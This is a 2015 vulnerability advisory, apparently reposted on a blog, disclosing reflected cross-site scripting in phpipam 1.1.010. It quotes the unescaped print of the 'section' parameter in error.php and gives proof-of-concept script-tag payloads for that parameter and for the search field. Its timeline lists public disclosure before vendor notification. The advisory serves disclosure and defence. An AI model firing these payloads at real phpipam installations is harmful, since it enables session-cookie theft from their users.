2015 m. rugpjūčio 13 d., ketvirtadienis

phpipam-1.1.010 XSS Vulnerability

[+] Credits: John Page aka hyp3rlinx

[+] Website: hyp3rlinx.altervista.org

[+] Source:  http://hyp3rlinx.altervista.org/advisories/AS-PHPIPAM0812.txt



Vendor:
================================
phpipam.net



Product:
==============================
========
phpipam-1.1.010



Vulnerability Type:
==========================
Cross Site Scripting - XSS



CVE Reference:
==============
N/A



Vulnerability Details:
=====================

There is an XSS entry point in 'error.php' file under site directory,
on line 66 of error.php we find the vulnerable server code.

<?php print _('Provided http error code is'); ?>: <strong><?php print_r($_REQUEST['section']); ?>: <?php print $http_codes[$_REQUEST['section']]; ?></strong>

PHP print function is called on $_REQUEST['section'] variable without checking or escaping the response output to victims web browser.




Exploit code(s):
===============

1- GET method XSS:
------------------

http://localhost/phpipam/site/error.php?section=<script>alert(document.cookie)</script>
vulnerable parameter "section"


2- POST method XSS:
-------------------

http://localhost/phpipam/site/tools/searchResults.php
vulnerable parameter "ip"

Inject payload into search field.
"<script>alert(666)</script>


Disclosure Timeline:
=========================================================


Vendor Notification:  August 10, 2015
July 12, 2015  : Public Disclosure




Exploitation Technique:
=======================
Remote & Local



Authentication required:
========================
No



Severity Level:
=========================================================
Medium



Description:
==========================================================


Request Method(s):              [+] GET / POST


Vulnerable Product:             [+] phpipam-1.1.010


Vulnerable Parameter(s):        [+] section


Affected Area(s):               [+] site, ip


===========================================================

[+] Disclaimer
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author.
The author is not responsible for any misuse of the information contained herein and prohibits any malicious use of all security related information or exploits by the author or elsewhere.

by hyp3rlinx

Komentarų nėra:

Rašyti komentarą